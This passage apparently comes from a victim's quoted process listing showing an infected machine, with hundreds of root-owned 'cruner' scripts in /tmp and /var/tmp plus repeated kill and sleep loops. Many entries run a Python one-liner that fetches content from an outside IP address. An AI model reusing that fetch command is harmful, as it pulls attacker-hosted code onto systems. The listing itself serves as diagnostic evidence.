0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16067 9688 0 15:45:06 ? 0:00 sleep 60 > root 22925 8011 0 15:45:13 ? 0:00 sleep 60 > root 27150 13724 0 15:46:05 ? 0:00 sh /var/tmp/cruner > root 19274 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5975 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15851 958 0 15:45:41 ? 0:00 /bin/ksh -p /bin/kill -9 > root 25438 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 7288 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29602 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13497 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16258 15497 0 15:46:00 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 3218 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29605 20979 0 15:45:08 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 1156 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 23683 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26862 10448 0 15:43:29 ? 0:00 bash -sh > root 22866 21095 0 15:45:38 ? 0:00 sleep 60 > root 26364 27961 0 15:46:05 ? 0:00 bash -sh > root 25087 7603 0 15:45:39 ? 0:00 bash -sh > root 13031 27366 0 - ? 0:00 <defunct> > root 17784 24170 0 15:44:57 ? 0:00 bash -sh > root 13383 5707 0 15:45:50 ? 0:00 bash -sh > root 16220 6445 0 15:45:22 ? 0:00 bash -sh > root 7889 26323 0 15:43:43 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 15483 3385 0 - ? 0:00 <defunct> > root 15105 28122 0 15:44:16 ? 0:00 bash -sh > root 3596 7052 0 15:45:35 ? 0:00 sleep 60 > root 4113 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 10715 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24056 16616 0 - ? 0:00 <defunct> > root 12137 14605 0 15:45:50 ? 0:00 sleep 60 > root 28471 16322 0 15:46:05 ? 0:00 bash -sh > root 20073 24350 0 - ? 0:00 <defunct> > root 1055 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24671 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7545 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 3687 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24886 27311 0 - ? 0:00 <defunct> > root 13159 11860 0 15:45:50 ? 0:00 bash -sh > root 19518 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25971 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11322 1818 0 15:45:59 ? 0:00 bash -sh > root 6138 6102 0 15:43:55 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 13729 14377 0 15:43:20 ? 0:00 bash -sh > root 28460 20463 0 15:45:34 ? 0:00 sleep 60 > root 23437 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28233 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17060 13879 0 - ? 0:00 <defunct> > root 23222 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 10781 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25480 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18451 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13927 7940 0 15:43:56 ? 0:00 bash -sh > root 2519 41 0 - ? 0:00 <defunct> > root 20467 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5007 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 15121 1 0 20:21:12 ? 0:01 sh /var/tmp/cruner > root 17448 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 19724 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 15369 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 8149 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 5307 29080 0 - ? 0:00 <defunct> > root 20113 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21857 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8172 10838 0 15:45:10 ? 0:00 bash -sh > root 3901 24169 0 15:45:48 ? 0:00 sleep 60 > root 8089 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14838 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26063 29688 0 15:45:13 ? 0:00 bash -sh > root 4667 5287 0 - ? 0:00 <defunct> > root 12437 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9929 23522 0 15:45:45 ? 0:00 sleep 60 > root 3478 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 880 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5203 9099 0 - ? 0:00 <defunct> > root 19063 13733 0 15:45:56 ? 0:00 sleep 60 > root 20883 21613 0 15:44:53 ? 0:00 bash -sh > root 4158 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22528 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29712 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 4798 15959 0 15:43:18 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 854 12359 0 15:44:11 ? 0:00 bash -sh > root 16789 26968 0 15:46:00 ? 0:00 bash -sh > root 4783 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3995 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6403 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24937 25325 0 15:45:57 ? 0:00 sleep 60 > root 7302 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29445 6659 0 15:45:18 ? 0:00 xargs kill -9 > root 5315 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4695 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 5235 24327 0 15:45:20 ? 0:00 bash -sh > root 13743 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13992 12184 0 - ? 0:00 <defunct> > root 6948 3987 0 15:44:51 ? 0:00 bash -sh > root 20629 22514 0 - ? 0:00 <defunct> > root 24433 10752 0 15:45:38 ? 0:00 bash -sh > root 10661 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20886 8911 0 15:46:04 ? 0:00 xargs kill -9 > root 26378 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12279 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 176 614 0 15:45:53 ? 0:00 sleep 60 > root 15359 17625 0 15:46:00 ? 0:00 bash -sh > root 28689 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16667 23472 0 15:44:57 ? 0:00 bash -sh > root 1182 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27182 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12101 11674 0 15:45:59 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 27021 432 0 15:45:18 ? 0:00 bash -sh > root 22194 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17936 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7144 18385 0 - ? 0:00 <defunct> > root 25073 23030 0 - ? 0:00 <defunct> > root 27655 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11202 4914 0 15:44:51 ? 0:00 bash -sh > root 3096 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 5644 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17197 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5218 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7164 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 25336 29859 0 15:44:20 ? 0:00 bash -sh > root 19112 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9994 4123 0 15:45:28 ? 0:00 sleep 60 > root 7643 11160 0 15:45:20 ? 0:00 sleep 60 > root 12956 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 17347 17327 0 15:45:56 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 17344 11198 0 15:43:27 ? 0:00 bash -sh > root 24724 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25782 18941 0 15:45:07 ? 0:00 sleep 60 > root 9302 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7443 25424 0 15:43:43 ? 0:00 bash -sh > root 6438 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27242 29807 0 15:45:18 ? 0:00 sleep 60 > root 275 20954 0 15:45:34 ? 0:00 sleep 60 > root 6844 7637 0 - ? 0:00 <defunct> > root 18386 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20457 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12153 11826 0 15:43:01 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 1307 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16376 4511 0 15:44:05 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 24261 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 9621 8638 0 15:45:50 ? 0:00 /bin/ksh -p /bin/kill -9 > root 21847 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 3659 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1288 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 27055 27829 0 15:45:18 ? 0:00 sleep 60 > root 3880 3565 0 15:43:08 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 27937 4558 0 15:46:05 ? 0:00 sh /tmp/cruner > root 22915 15951 0 15:45:47 ? 0:00 sh /var/tmp/cruner > root 7205 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 7565 22850 0 15:45:31 ? 0:00 sleep 60 > root 26832 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4210 6574 0 15:45:09 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 10925 19992 0 15:45:41 ? 0:00 bash -sh > root 15281 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6906 20114 0 15:45:09 ? 0:00 bash -sh > root 18926 15460 0 15:45:06 ? 0:00 sleep 60 > root 6842 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 19464 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1037 14049 0 15:45:27 ? 0:00 sleep 60 > root 10182 5696 0 15:44:51 ? 0:00 bash -sh > root 14318 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5445 21292 0 - ? 0:00 <defunct> > root 5571 16185 0 15:45:15 ? 0:00 sleep 60 > root 28002 22055 0 15:45:14 ? 0:00 sleep 60 > root 22720 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11085 11032 0 15:45:55 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 16428 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22605 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28924 16026 0 15:45:18 ? 0:00 sleep 60 > root 6502 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15220 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8443 12828 0 15:45:40 ? 0:00 bash -sh > root 15513 20856 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 17487 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25295 25735 0 - ? 0:00 <defunct> > root 782 14053 0 15:45:48 ? 0:00 sleep 60 > root 8816 29671 0 15:45:45 ? 0:00 sleep 60 > root 25897 25461 0 15:44:54 ? 0:00 sh /var/tmp/cruner > root 2868 5914 0 15:45:48 ? 0:00 bash -sh > root 9290 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16844 669 0 15:45:56 ? 0:00 bash -sh > root 25442 25364 0 - ? 0:00 <defunct> > root 1617 5043 0 15:45:31 ? 0:00 sleep 60 > root 16154 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 20443 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 19598 16214 0 15:44:53 ? 0:00 bash -sh > root 24977 85 0 15:45:57 ? 0:00 bash -sh > root 11989 6146 0 15:45:32 ? 0:00 bash -sh > root 15843 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24655 6846 0 15:45:13 ? 0:00 sleep 60 > root 16334 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14846 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6202 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14570 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18463 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 5632 3534 0 15:45:49 ? 0:00 xargs kill -9 > root 1096 11359 0 15:45:34 ? 0:00 sleep 60 > root 8192 14714 0 - ? 0:00 <defunct> > root 5082 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 19644 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11126 21713 0 15:45:25 ? 0:00 sleep 60 > root 6556 29478 0 15:45:04 ? 0:00 bash -sh > root 8520 14896 0 15:45:25 ? 0:00 sleep 60 > root 3490 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17034 17027 0 15:46:00 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 26836 18763 0 15:45:07 ? 0:00 bash -sh > root 14237 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28986 26717 0 15:45:18 ? 0:00 sleep 60 > root 21112 15066 0 15:43:52 ? 0:00 bash -sh > root 25470 3879 0 15:44:54 ? 0:00 bash -sh > root 12072 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 100 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21325 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 14101 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23922 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 29424 7520 0 - ? 0:00 <defunct> > root 24703 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2422 19808 0 15:45:27 ? 0:00 sleep 60 > root 28456 6790 0 15:45:53 ? 0:00 xargs kill -9 > root 17507 10805 0 - ? 0:00 <defunct> > root 15199 16751 0 15:45:46 ? 0:00 bash -sh > root 366 10239 0 15:44:11 ? 0:00 bash -sh > root 13708 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 11608 3637 0 15:44:56 ? 0:00 bash -sh > root 14285 19077 0 - ? 0:00 <defunct> > root 10757 24746 0 15:46:03 ? 0:00 bash -sh > root 7783 8504 0 15:45:58 ? 0:00 sleep 60 > root 3351 28286 0 15:45:40 ? 0:00 bash -sh > root 15231 13006 0 15:45:21 ? 0:00 sleep 60 > root 18209 18504 0 - ? 0:00 <defunct> > root 18755 21294 0 - ? 0:00 <defunct> > root 7947 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 15948 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 29549 16865 0 15:45:58 ? 0:00 sleep 60 > root 24379 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29938 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6268 13875 0 - ? 0:00 <defunct> > root 5097 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2443 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 28511 20734 0 15:46:05 ? 0:00 sh /var/tmp/cruner > root 25677 21486 0 15:46:01 ? 0:00 sleep 60 > root 4944 21823 0 - ? 0:00 <defunct> > root 24899 8734 0 - ? 0:00 <defunct> > root 29497 4066 0 - ? 0:00 <defunct> > root 9289 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 18615 18613 0 15:42:54 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 4727 20176 0 - ? 0:00 <defunct> > root 16033 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 1175 24532 0 - ? 0:00 <defunct> > root 16527 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17265 16691 0 - ? 0:00 <defunct> > root 24330 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9850 28733 0 - ? 0:00 <defunct> > root 18865 17612 0 - ? 0:00 <defunct> > root 16755 6358 0 - ? 0:00 <defunct> > root 22624 22280 0 - ? 0:00 <defunct> > root 19088 3072 0 15:45:29 ? 0:00 sleep 60 > root 724 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 22798 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16475 20698 0 15:45:51 ? 0:00 bash -sh > root 1368 6202 0 15:45:48 ? 0:00 sleep 60 > root 17049 29744 0 - ? 0:00 <defunct> > root 27265 22689 0 15:46:05 ? 0:00 sh /var/tmp/cruner > root 26176 22386 0 - ? 0:00 <defunct> > root 7986 21218 0 15:45:31 ? 0:00 bash -sh > root 23781 15372 0 15:45:57 ? 0:00 sleep 60 > root 15268 13826 0 - ? 0:00 <defunct> > root 25294 21512 0 - ? 0:00 <defunct> > root 20204 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 23662 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20779 5741 0 15:45:06 ? 0:00 bash -sh > root 16028 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17428 7536 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 11217 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24345 20788 0 15:45:43 ? 0:00 bash -sh > root 21706 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 18042 11533 0 15:45:12 ? 0:00 bash -sh > root 21015 3747 0 15:44:36 ? 0:00 bash -sh > root 23218 9265 0 15:46:05 ? 0:00 sleep 60 > root 13974 5710 0 15:45:37 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 25400 25226 0 15:46:01 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 8746 6007 0 15:45:31 ? 0:00 bash -sh > root 18537 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9975 14762 0 15:45:45 ? 0:00 sleep 60 > root 26982 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14109 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4182 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 11480 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 3076 24491 0 15:44:22 ? 0:00 bash -sh > root 8300 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22443 19719 0 15:45:17 ? 0:00 sleep 60 > root 9221 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 20782 26659 0 - ? 0:00 <defunct> > root 11872 11838 0 15:45:59 ? 0:00 bash -sh > root 5961 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25682 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27246 17132 0 15:45:47 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 641 18484 0 15:45:48 ? 0:00 sleep 60 > root 8061 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 2848 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23376 6848 0 - ? 0:00 <defunct> > root 6096 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20301 29823 0 15:44:53 ? 0:00 bash -sh > root 22137 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6810 6757 0 15:45:35 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 22612 25444 0 15:45:17 ? 0:00 sleep 60 > root 29858 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 13313 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 22854 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15972 17654 0 - ? 0:00 <defunct> > root 22883 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21845 9501 0 15:46:01 ? 0:00 sh /tmp/cruner > root 14794 9188 0 15:46:00 ? 0:00 sh /tmp/cruner > root 7061 1 0 23:03:52 ? 0:00 sh /var/tmp/cruner > root 12504 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 4240 10180 0 15:45:35 ? 0:00 xargs kill -9 > root 20907 4369 0 15:45:22 ? 0:00 bash -sh > root 6269 3867 0 15:45:35 ? 0:00 sh /tmp/cruner > root 25772 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 23080 13516 0 15:46:01 ? 0:00 bash -sh > root 8367 16877 0 15:45:31 ? 0:00 bash -sh > root 14604 25336 0 - ? 0:00 <defunct> > root 22128 13363 0 15:45:57 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 28133 2286 0 15:46:05 ? 0:00 sh /var/tmp/cruner > root 1754 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3502 5380 0 15:45:58 ? 0:00 sleep 60 > root 19710 4615 0 15:45:12 ? 0:00 sleep 60 > root 10071 15865 0 15:46:03 ? 0:00 xargs kill -9 > root 15198 6816 0 - ? 0:00 <defunct> > root 29033 25291 0 15:45:18 ? 0:00 sleep 60 > root 8164 25936 0 15:45:10 ? 0:00 bash -sh > root 27700 24125 0 15:45:34 ? 0:00 sleep 60 > root 22953 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 25784 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26152 23143 0 - ? 0:00 <defunct> > root 3330 19833 0 15:45:48 ? 0:00 sleep 60 > root 19227 14713 0 15:45:29 ? 0:00 bash -sh > root 5372 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25777 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25419 21043 0 15:46:05 ? 0:00 sh /var/tmp/cruner > root 14039 12725 0 15:44:52 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 18131 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 4918 29704 0 15:45:54 ? 0:00 bash -sh > root 5324 29693 0 15:46:03 ? 0:00 bash -sh > root 26946 10072 0 15:46:05 ? 0:00 xargs kill -9 > root 11877 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 21638 272 0 - ? 0:00 <defunct> > root 3566 7402 0 15:45:58 ? 0:00 sleep 60 > root 22379 1 0 21:31:33 ? 0:00 sh /var/tmp/cruner > root 24326 27052 0 15:45:47 ? 0:00 sleep 60 > root 11015 26978 0 15:45:55 ? 0:00 bash -sh > root 6363 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4564 17194 0 15:45:04 ? 0:00 bash -sh > root 13307 22947 0 15:45:11 ? 0:00 bash -sh > root 13332 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1464 13247 0 15:46:02 ? 0:00 sleep 60 > root 3997 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 28758 26789 0 15:43:06 ? 0:00 bash -sh > root 7118 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9024 8042 0 15:45:54 ? 0:00 sh /var/tmp/cruner > root 28607 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1997 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12492 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7378 4778 0 15:45:45 ? 0:00 bash -sh > root 5777 26731 0 15:45:40 ? 0:00 /bin/ksh -p /bin/kill -9 > root 16935 29841 0 15:46:00 ? 0:00 sh /tmp/cruner > root 10929 22787 0 15:45:41 ? 0:00 /bin/ksh -p /bin/kill -9 > root 21602 11866 0 - ? 0:00 <defunct> > root 9424 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8542 6877 0 15:45:36 ? 0:00 bash -sh > root 21587 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 28156 5984 0 - ? 0:00 <defunct> > root 7723 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17850 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 19281 24793 0 15:45:06 ? 0:00 sleep 60 > root 19818 16280 0 - ? 0:00 <defunct> > root 16058 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27828 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 10155 15837 0 15:45:36 ? 0:00 bash -sh > root 14797 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5774 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 9164 7438 0 - ? 0:00 <defunct> > root 2416 15290 0 - ? 0:00 <defunct> > root 27680 9876 0 15:45:07 ? 0:00 sleep 60 > root 3361 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 5469 8037 0 15:45:44 ? 0:00 bash -sh > root 3401 141 0 - ? 0:00 <defunct> > root 16333 19173 0 15:45:51 ? 0:00 bash -sh > root 9630 3297 0 15:45:10 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 8903 3096 0 15:45:25 ? 0:00 bash -sh > root 344 16861 0 15:44:28 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 20804 7651 0 15:43:28 ? 0:00 bash -sh > root 7837 11314 0 15:45:04 ? 0:00 bash -sh > root 29308 3271 0 - ? 0:00 <defunct> > root 3002 2975 0 15:42:56 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2756 5483 0 - ? 0:00 <defunct> > root 26789 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19434 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 18174 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10492 23525 0 15:45:28 ? 0:00 sleep 60 > root 29294 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18931 6524 0 15:45:06 ? 0:00 sleep 60 > root 9831 19168 0 15:44:38 ? 0:00 bash -sh > root 9866 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 9871 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18646 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 27578 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4549 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 433 22185 0 - ? 0:00 <defunct> > root 24198 3005 0 15:46:05 ? 0:00 sleep 60 > root 15107 24333 0 - ? 0:00 <defunct> > root 26026 18066 0 - ? 0:00 <defunct> > root 5021 15367 0 - ? 0:00 <defunct> > root 26819 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 7349 22355 0 - ? 0:00 <defunct> > root 26637 47 0 15:46:05 ? 0:00 sh /var/tmp/cruner > root 29907 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11655 11627 0 15:45:59 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 9418 10005 0 15:45:28 ? 0:00 bash -sh > root 337 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18864 21966 0 - ? 0:00 <defunct> > root 19070 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19245 7648 0 - ? 0:00 <defunct> > root 23287 20234 0 15:45:13 ? 0:00 sleep 60 > root 4844 18213 0 15:45:58 ? 0:00 sleep 60 > root 11647 10167 0 15:45:55 ? 0:00 bash -sh > root 27616 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3985 16938 0 15:45:44 ? 0:00 sleep 60 > root 18319 18278 0 - ? 0:00 <defunct> > root 15017 15275 0 15:45:16 ? 0:00 sleep 60 > root 28645 2404 0 15:44:10 ? 0:00 bash -sh > root 15396 12788 0 15:46:00 ? 0:00 /bin/ksh -p /bin/kill -9 > root 9751 14879 0 15:45:54 ? 0:00 bash -sh > root 12787 13814 0 - ? 0:00 <defunct> > root 4123 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 23193 17227 0 15:46:01 ? 0:00 bash -sh > root 3718 5506 0 15:45:54 ? 0:00 sleep 60 > root 22141 24947 0 - ? 0:00 <defunct> > root 19218 12888 0 15:45:42 ? 0:00 sleep 60 > root 12029 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 12502 11380 0 - ? 0:00 <defunct> > root 10257 4517 0 15:44:04 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 24390 6530 0 - ? 0:00 <defunct> > root 17284 7692 0 15:46:04 ? 0:00 /bin/ksh -p /bin/kill -9 > root 19357 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28994 13574 0 15:45:43 ? 0:00 xargs kill -9 > root 25060 19700 0 - ? 0:00 <defunct> > root 11321 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 457 10523 0 15:44:59 ? 0:00 bash -sh > root 9490 19974 0 15:45:36 ? 0:00 xargs kill -9 > root 26429 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 22813 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21941 18441 0 15:45:30 ? 0:00 sleep 60 > root 17608 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 17436 14288 0 15:45:42 